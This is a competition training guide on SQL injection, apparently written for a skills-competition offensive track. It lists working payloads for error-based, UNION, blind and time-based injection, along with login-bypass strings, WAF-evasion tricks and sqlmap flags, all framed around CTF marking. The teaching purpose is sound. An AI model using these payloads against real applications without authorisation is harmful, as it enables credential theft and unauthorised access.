SQL Injection

Scope

What this is: Exploiting unsanitised database queries to extract data, bypass authentication, or execute commands.

Competition relevance: Offensive operations (red team CTF), web exploitation. It also appears in secure coding reviews.

Why it matters: High-value flags. Requires identifying injection points, extracting data, and documenting proof.

WSOS 2026 alignment: This topic directly supports Section 6: Operations and management (exploiting database query vulnerabilities).

Competition area: Core to the offensive operations area, where you identify and exploit SQL injection vulnerabilities in web applications to demonstrate database security weaknesses.

Offline competence: SQL injection testing requires no special tools beyond a web browser and basic command-line utilities. Use browser DevTools (F12, always available offline) to intercept and modify requests. sqlmap works offline once installed. Maintain an offline list of SQL payloads for different database engines (MySQL, PostgreSQL, MSSQL, Oracle). Database documentation (man sqlite3, man psql) available offline for reference.

---

Competency Matrix

Level	Expectation
Regional	Identify obvious SQLi in login forms. Use ' OR 1=1-- patterns. Extract basic data from error messages.
National	Enumerate databases using UNION attacks. Extract multi-table data. Identify blind SQLi. Use sqlmap effectively.
Squad/Team Selection	Manual exploitation without tools when WAF blocks sqlmap. Boolean and time-based blind extraction. Understand different DB engines (MySQL, PostgreSQL, MSSQL).
International	Second-order SQLi. Filter bypass. SQL injection in JSON/XML contexts. Out-of-band data exfiltration. Fast manual exploitation under time pressure.

---

Technical Content

Error-Based SQL Injection

What it is: Force database errors to leak information.

Detection:

# Test payload
' OR '1'='1
" OR "1"="1
' OR 1=1--
') OR ('1'='1

Exploitation:

-- MySQL: Extract database version
' AND extractvalue(1, concat(0x7e, version()))--

-- PostgreSQL: Force error with version
' AND 1=cast(version() as int)--

Competition context: Usually appears in login forms, search boxes, or URL parameters. Flag is often the admin password or a hidden table name.

---

UNION-Based SQL Injection

What it is: Append your own SELECT query to extract arbitrary data.

Column enumeration:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--  # Keep going until you get an error

Finding injectable columns:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--  # Match column count

Data extraction:

-- Extract database names
' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata--

-- Extract table names
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='targetdb'--

-- Extract column names
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

-- Extract data
' UNION SELECT username,password,NULL FROM users--

Competition context: Mid-difficulty flags. You must screenshot the injection payload AND the extracted data. Document the full process.

---

Blind SQL Injection

What it is: No error messages or data returned. Infer information via true/false responses or time delays.

Boolean-based:

-- Test if database is MySQL
' AND (SELECT 'a' FROM dual)='a'--  # Oracle/MySQL
' AND 1=1--  # Generic true
' AND 1=2--  # Generic false

-- Extract data bit by bit
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--

Time-based:

-- MySQL
' AND SLEEP(5)--

-- PostgreSQL
' AND pg_sleep(5)--

-- MSSQL
'; WAITFOR DELAY '00:00:05'--

Competition context: Time-consuming. Only pursue if no other SQLi method works. Use sqlmap with --technique=T for time-based.

---

Authentication Bypass

Common payloads:

admin' --
admin' #
' OR 1=1--
' OR '1'='1
admin'/*
' OR 1=1 LIMIT 1--

Competition context: Often a quick 5-point flag. Screenshot the bypass AND the page you land on after login.

---

Second-Order SQL Injection

What it is: Input is sanitised on entry but used unsafely later. The injection happens when stored data is retrieved and used in a query.

Example flow:

1. User registers with username: admin'--
2. Application safely stores this in database
3. Later, application retrieves username and uses it in an unsafe query: SELECT * FROM posts WHERE author='admin'--'

Detection:

• Look for places where user input is stored (registration, profile updates)
• Test if that data is used in queries elsewhere (viewing profile, generating reports)

Competition context: Rare at regional/national level. Usually only appears at international level. If you suspect second-order SQLi, note it and move on unless you’re confident.

---

Competition Strategy & Marking

What gets marked:

• Correct identification of injection point (URL/parameter/form field)
• Proof of exploitation (screenshot showing extracted data)
• Flag value (if applicable)
• Write-up explaining the vulnerability and payload used

Evidence and reporting requirements:

• Screenshot showing injection payload in URL/request (browser address bar or Burp Suite intercept)
• Screenshot showing extracted database content or successful authentication bypass
• Exact payload used with full SQL syntax
• Database type identified (MySQL, PostgreSQL, MSSQL, Oracle)
• Data extracted with context: table names, column names, extracted values (usernames, password hashes, flags)
• For UNION attacks: screenshot showing column enumeration process (ORDER BY tests)
• For blind SQLi: screenshots showing true/false responses or time delay evidence
• Written explanation of vulnerability type (error-based, UNION, blind) and business impact
• Clear file naming: sqli_login_bypass.png, sqli_union_users_table.png, sqli_extracted_admin_hash.png

Time allocation:

• Simple error-based: 5-10 minutes
• UNION-based with manual enumeration: 15-25 minutes
• Blind SQLi: 30-45 minutes (consider skipping if time is short)

Common marking criteria:

• Correct exploitation: 60% of marks
• Complete documentation: 30% of marks
• Clean write-up with payload explanation: 10% of marks

Time-boxed drill suggestion: 40-minute SQL injection sprint: Given a web application with multiple forms and search functions, identify all SQL injection points using manual testing (error-based and UNION), determine the database engine, enumerate the database structure (databases, tables, columns), extract sensitive data (user credentials, flags), demonstrate authentication bypass if applicable, and document all findings with screenshots showing payloads and extracted data. This drill should be completable offline using browser DevTools and pre-installed sqlmap.

---

False Flags / Wrong Paths

Common Traps

Parameterised queries that look vulnerable but aren’t If you try 20+ payloads and nothing works, the application likely uses prepared statements. Move on after 10 minutes.

WAF blocking everything If sqlmap gets blocked and manual payloads return 403/WAF errors, try:

• Case variation: UnIoN SeLeCt
• Comment insertion: UN/**/ION SE/**/LECT
• Encoding: URL encode or double-encode

But don’t spend more than 15 minutes on WAF bypass unless it’s clearly the intended path.

Second-order injection rabbit holes If input is sanitised on entry but used unsafely later (e.g., stored in DB then displayed), this is second-order SQLi. These are rare in regionals/nationals. If you suspect one, note it and move on unless you’re at international level.

Red herrings from past competitions:

• Login forms with client-side validation that look like SQLi targets but are actually secure (backend uses ORM)
• Search boxes that echo your input but use full-text search, not SQL concatenation
• LDAP injection disguised as SQLi (look for (uid=...) patterns, not SQL syntax)

---

Practice Checklist

Use this to verify competition readiness:

• Can identify SQLi in login forms within 2 minutes using basic payloads
• Can enumerate database structure using UNION SELECT manually (no sqlmap)
• Can extract usernames and passwords from a MySQL database in under 15 minutes
• Recognise when a vulnerability is NOT SQLi and move on quickly
• Know the difference between MySQL, PostgreSQL, and MSSQL error messages
• Can use sqlmap with correct flags (-u, --dbs, --tables, --dump)
• Can produce competition-compliant screenshots (payload visible + extracted data + timestamp)
• Can write a 3-sentence explanation of the vulnerability and exploitation method

---

References

Primary references:

• WSOS 2026, Section 6: Operations and management (demonstrates ability to exploit web application database vulnerabilities)
• Competition stage roadmap: Offensive operations (web exploitation focus for national level)

Related topics in this knowledge base:

• XSS (another common web vulnerability often found alongside SQLi)
• Secure Coding (defensive perspective on preventing SQLi)
• Web Reconnaissance (finding potential SQL injection points)

Cheat sheets and quick references:

• SQLi Payloads Reference (database-specific injection syntax)

External resources (for offline preparation):

• sqlmap documentation: sqlmap --help or /usr/share/doc/sqlmap
• Database CLI help: man sqlite3, man psql, mysql --help
• PortSwigger SQL Injection cheat sheet (download for offline use)
• PayloadsAllTheThings SQL Injection reference (clone GitHub repo for offline access)